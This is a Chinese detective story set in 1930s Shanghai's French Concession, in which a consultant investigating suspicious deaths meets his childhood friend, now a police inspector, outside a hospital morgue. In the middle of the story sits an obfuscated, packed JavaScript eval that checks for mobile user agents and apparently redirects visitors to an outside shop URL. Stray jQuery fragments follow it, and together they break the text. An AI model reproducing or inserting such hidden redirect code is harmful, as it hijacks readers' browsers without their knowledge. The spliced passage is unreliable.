法租界霞飞路的梧桐叶落了一地，被秋雨浸透成暗金的色泽，黏在湿漉漉的柏油路面上。陈徽之站在公济医院哥特式拱门下，黑呢大衣的领子竖着，挡住了半张脸。他手里握着一柄乌木手杖，杖头镶嵌的暗银家族徽章在檐下灯光里泛着冷光。雨水顺着医院的石阶往下淌，汇入街边的沟渠。
三天前，法国洋行买办杜兰德死在自家书房。巡捕房的说法是心脏病突发，但陈徽之受邀“看看”时，在白兰地酒杯边缘发现了一抹不该有的、极细微的蓝色结晶——□□与某种酸性物质反应后的残留。现场被打扫得太干净，快得像早有预案。
陈徽之本不必理会这种案子。他是陈家长房长孙，耶鲁大学政治经济学硕士，归国后本该在家族银行或政界谋个前程。但他选择了另一条路——用他那套被父亲斥为“不务正业”的推理逻辑，在租界错综复杂的利益网里，做个穿行其间的“顾问”。顾问，这是个体面的称呼。实际上，他接手的都是些巡捕房不愿碰、或碰不了的案子。
杜兰德的死不寻常。更不寻常的是，杜兰德死前一周，曾通过秘密渠道放风，要出售一批“足以撼动半个上海滩”的文件，涉及某些大人物与日本方面的交易。杜兰德一死，文件失踪，他那位据说掌握着关键线索的情妇苏婉，也因“急性盲肠炎”死在了这家医院。
死亡证明由一位日籍副院长亲自签发。尸体直接送进了太平间。
陈徽之看了看腕上的百达翡丽——晚上十点一刻。他转身步入医院大厅，皮鞋在大理石地面上敲出不急不缓的声响。值班的法国护士抬头看了一眼，被他身上那种属于租界顶层圈子特有的、混合着教养与疏离的气场所慑，没有阻拦。
他径直走向通往地下室的楼梯。皮鞋声在空旷的楼梯间回荡。地下室的走廊更显阴冷，灯光惨白。太平间在尽头，门上挂着铁锁。旁边储物室的门虚掩着，里面没有灯光，也没有医院老更夫惯常的咳嗽声。
陈徽之站在太平间门口，从大衣内袋取出一个精巧的黄铜工具盒。他不是来偷尸体的，至少不完全是。他需要确认苏婉手腕上那枚朱砂痣是否存在——杜兰德家一个老佣人提到过这个细节。更重要的是，他想知道，苏婉的“死亡”为何如此匆忙，匆忙到连家属签字都省略了。
工具刚触到锁芯，走廊另一端传来脚步声。沉稳，均匀，像是军人的步伐。
陈徽之收回工具，转身，手杖自然地垂在身侧。来人身形高大，穿着巡捕房高级警官的深蓝色制服，帽檐压得很低，但走近时抬起了头。
四目相对。
空气凝滞了一瞬。
沈屹。沈家三少爷，和陈徽之穿开裆裤时就认识，一起在沈家老宅书房里用《康熙字典》编密码，约定要做“大事”的沈屹。后来沈屹被他那位北洋出身的父亲送去北平念政法，听说毕业后进了警界，却与家里闹得很僵，原因不明。
此刻，沈屹肩章上的银星显示他是法租界巡捕房新调任的督察长。他的眼神在陈徽之脸上停留了半秒，深潭般的眸子波澜不惊，随即扫向太平间的门锁，又看了看虚掩的储物室。嘴角几不可察地向下压了压——那是他们小时候，发现大人设了陷阱时的表情。
陈徽之心领神会。
沈屹已经走到了近前，声音不高，带着公事公办的冷淡：“陈先生，这么晚在这里，有事？”
“家父一位故友的远亲，据说在此病故，受托来确认一二。”陈徽之答得滴水不漏，语气里带着世家子弟特有的、礼貌而疏离的矜持，“沈督察长这是？”
“公务。”沈屹简短地说，手已经按在了腰间的枪套上，但没拔出，只是用身体微侧，挡住了陈徽之与太平间门之间的直线。他的目光看似随意地扫过陈徽之手中的乌木手杖，在杖头的徽章上停留了一瞬。“这里不是陈先生该来的地方。请回吧。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296795|198571||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>话音刚落，走廊拐角处传来杂乱的脚步声和低语，不止一人。
沈屹眉头微不可察地一蹙，侧身一步，几乎与陈徽之并肩，压低声音，快而清晰：“明早九点，汇中饭店，三楼西餐厅，靠窗第二个位置。”然后迅速提高音量，语气转为严厉，“陈先生，我再说一次，请立刻离开！否则我将以妨碍公务罪拘捕你！”
陈徽之后退一步，恰到好处地露出些许被冒犯的不悦，但仍保持着风度。“既然沈督察长公务在身，那便不打扰了。”他微微颔首，转身，手杖点地，不疾不徐地朝楼梯走去。身后，沈屹正对赶来的几个巡捕训话，声音冷硬。
走出医院，夜雨未歇。陈徽之坐进等候在街角的黑色斯蒂庞克轿车。司机老周低声问：“少爷，回家？”
“去外滩。”陈徽之靠进柔软的真皮座椅，闭目养神。脑海里却在飞速运转：沈屹出现在这里绝非偶然。他那句看似驱逐的话里，藏着时间和地点——明早九点，汇中饭店。那是公共租界的地盘，相对中立。
沈屹在传递两个信息：第一，太平间有问题，且此刻危险；第二，他要面谈。
是什么让法租界的督察长如此谨慎？杜兰德的死，苏婉的“病故”，还有沈屹那句“妨碍公务罪”——在陈徽之的记忆里，沈屹从不滥用职权。除非，他需要这个借口来掩护什么。
车窗外，夜上海的霓虹在湿漉漉的街道上流淌成模糊的光河。陈徽之的手指无意识地摩挲着手杖顶端的徽章。陈家与沈家是世交，也是某种程度上的竞争关系。两家长辈都希望子弟走“正途”——银行、实业、政界。他和沈屹少年时那些“不切实际”的幻想，早该被现实磨平了。
但沈屹成了警察，而且显然不是普通的警察。自己则成了个游走在灰色地带的“顾问”。他们都偏离了家族设定的轨道，只是方式不同。
那么，这次交集，是偶然，还是某种必然？